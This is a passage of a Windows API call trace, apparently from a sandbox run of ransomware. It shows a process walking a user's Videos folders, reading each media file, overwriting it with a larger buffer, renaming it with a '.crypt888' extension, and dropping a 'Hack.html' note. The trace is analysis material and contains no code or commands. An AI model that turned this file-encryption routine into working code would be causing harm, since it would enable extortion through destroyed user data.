HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4.crypt888", lpFilePart=0x0) returned 0x58 [0085.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\yuxbgkrlqr.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbbac90, ftCreationTime.dwHighDateTime=0x1d45df0, ftLastAccessTime.dwLowDateTime=0xe7dbd890, ftLastAccessTime.dwHighDateTime=0x1d45d18, ftLastWriteTime.dwLowDateTime=0xc42d1c80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa8d0)) returned 1 [0085.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\yuxbgkrlqr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\YUxBgkRLQr.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\yuxbgkrlqr.mp4.crypt888")) returned 1 [0085.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", lpFilePart=0x0) returned 0x52 [0085.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\zrlazk4k63can.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.526] GetFileType (hFile=0x174) returned 0x1 [0085.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.526] GetFileType (hFile=0x174) returned 0x1 [0085.526] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x12e72 [0085.526] ReadFile (in: hFile=0x174, lpBuffer=0x27ecf18, nNumberOfBytesToRead=0x12e72, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27ecf18*, lpNumberOfBytesRead=0x39ecbc*=0x12e72, lpOverlapped=0x0) returned 1 [0085.528] CloseHandle (hObject=0x174) returned 1 [0085.550] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", lpFilePart=0x0) returned 0x52 [0085.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\zrlazk4k63can.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.552] GetFileType (hFile=0x174) returned 0x1 [0085.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.552] GetFileType (hFile=0x174) returned 0x1 [0085.552] WriteFile (in: hFile=0x174, lpBuffer=0x2872874*, nNumberOfBytesToWrite=0x12e80, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x2872874*, lpNumberOfBytesWritten=0x39ecac*=0x12e80, lpOverlapped=0x0) returned 1 [0085.554] CloseHandle (hObject=0x174) returned 1 [0085.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv", lpFilePart=0x0) returned 0x52 [0085.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv.crypt888", lpFilePart=0x0) returned 0x5b [0085.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\zrlazk4k63can.flv"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf0b9ea0, ftCreationTime.dwHighDateTime=0x1d45b2e, ftLastAccessTime.dwLowDateTime=0xa6ef21e0, ftLastAccessTime.dwHighDateTime=0x1d4614e, ftLastWriteTime.dwLowDateTime=0xc431df40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x12e80)) returned 1 [0085.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\zrlazk4k63can.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\zRlAzK4K63CAN.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\zrlazk4k63can.flv.crypt888")) returned 1 [0085.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\Hack.html", lpFilePart=0x0) returned 0x4a [0085.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0085.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\2es52lmq\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\2es52lmq\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.558] GetFileType (hFile=0x174) returned 0x1 [0085.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0085.558] GetFileType (hFile=0x174) returned 0x1 [0085.558] WriteFile (in: hFile=0x174, lpBuffer=0x28872a0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x28872a0*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0085.559] CloseHandle (hObject=0x174) returned 1 [0085.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x", lpFilePart=0x0) returned 0x47 [0085.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\", lpFilePart=0x0) returned 0x48 [0085.560] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.561] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.562] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0085.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x", lpFilePart=0x0) returned 0x47 [0085.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\", lpFilePart=0x0) returned 0x48 [0085.562] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a8a8 [0085.562] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.563] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.563] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0085.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", lpFilePart=0x0) returned 0x5c [0085.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.564] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\4i1onzmpphlmaw08.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.564] GetFileType (hFile=0x174) returned 0x1 [0085.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.564] GetFileType (hFile=0x174) returned 0x1 [0085.564] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x1438b [0085.564] ReadFile (in: hFile=0x174, lpBuffer=0x288ac08, nNumberOfBytesToRead=0x1438b, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x288ac08*, lpNumberOfBytesRead=0x39ecbc*=0x1438b, lpOverlapped=0x0) returned 1 [0085.566] CloseHandle (hObject=0x174) returned 1 [0085.630] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", lpFilePart=0x0) returned 0x5c [0085.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\4i1onzmpphlmaw08.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.632] GetFileType (hFile=0x174) returned 0x1 [0085.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.632] GetFileType (hFile=0x174) returned 0x1 [0085.632] WriteFile (in: hFile=0x174, lpBuffer=0x273d864*, nNumberOfBytesToWrite=0x14390, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x273d864*, lpNumberOfBytesWritten=0x39ecac*=0x14390, lpOverlapped=0x0) returned 1 [0085.635] CloseHandle (hObject=0x174) returned 1 [0085.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4", lpFilePart=0x0) returned 0x5c [0085.637] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4.crypt888", lpFilePart=0x0) returned 0x65 [0085.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\4i1onzmpphlmaw08.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad616eb0, ftCreationTime.dwHighDateTime=0x1d46497, ftLastAccessTime.dwLowDateTime=0x341ca3c0, ftLastAccessTime.dwHighDateTime=0x1d45ff7, ftLastWriteTime.dwLowDateTime=0xc43dc620, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x14390)) returned 1 [0085.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.638] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\4i1onzmpphlmaw08.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\4i1OnZmpPHLMaW08.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\4i1onzmpphlmaw08.mp4.crypt888")) returned 1 [0085.638] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", lpFilePart=0x0) returned 0x51 [0085.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\ddju_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.639] GetFileType (hFile=0x174) returned 0x1 [0085.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.639] GetFileType (hFile=0x174) returned 0x1 [0085.639] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x14707 [0085.639] ReadFile (in: hFile=0x174, lpBuffer=0x2752118, nNumberOfBytesToRead=0x14707, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2752118*, lpNumberOfBytesRead=0x39ecbc*=0x14707, lpOverlapped=0x0) returned 1 [0085.640] CloseHandle (hObject=0x174) returned 1 [0085.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", lpFilePart=0x0) returned 0x51 [0085.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\ddju_.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.659] GetFileType (hFile=0x174) returned 0x1 [0085.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.659] GetFileType (hFile=0x174) returned 0x1 [0085.659] WriteFile (in: hFile=0x174, lpBuffer=0x27dc580*, nNumberOfBytesToWrite=0x14710, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x27dc580*, lpNumberOfBytesWritten=0x39ecac*=0x14710, lpOverlapped=0x0) returned 1 [0085.661] CloseHandle (hObject=0x174) returned 1 [0085.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi", lpFilePart=0x0) returned 0x51 [0085.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi.crypt888", lpFilePart=0x0) returned 0x5a [0085.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\ddju_.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c45000, ftCreationTime.dwHighDateTime=0x1d461de, ftLastAccessTime.dwLowDateTime=0x9c37070, ftLastAccessTime.dwHighDateTime=0x1d4619d, ftLastWriteTime.dwLowDateTime=0xc44288e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x14710)) returned 1 [0085.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.665] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\ddju_.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dDju_.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\ddju_.avi.crypt888")) returned 1 [0085.666] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", lpFilePart=0x0) returned 0x51 [0085.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\dm1-r.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.666] GetFileType (hFile=0x174) returned 0x1 [0085.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.666] GetFileType (hFile=0x174) returned 0x1 [0085.666] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xcf4f [0085.666] ReadFile (in: hFile=0x174, lpBuffer=0x27f1144, nNumberOfBytesToRead=0xcf4f, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27f1144*, lpNumberOfBytesRead=0x39ecbc*=0xcf4f, lpOverlapped=0x0) returned 1 [0085.667] CloseHandle (hObject=0x174) returned 1 [0085.680] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: 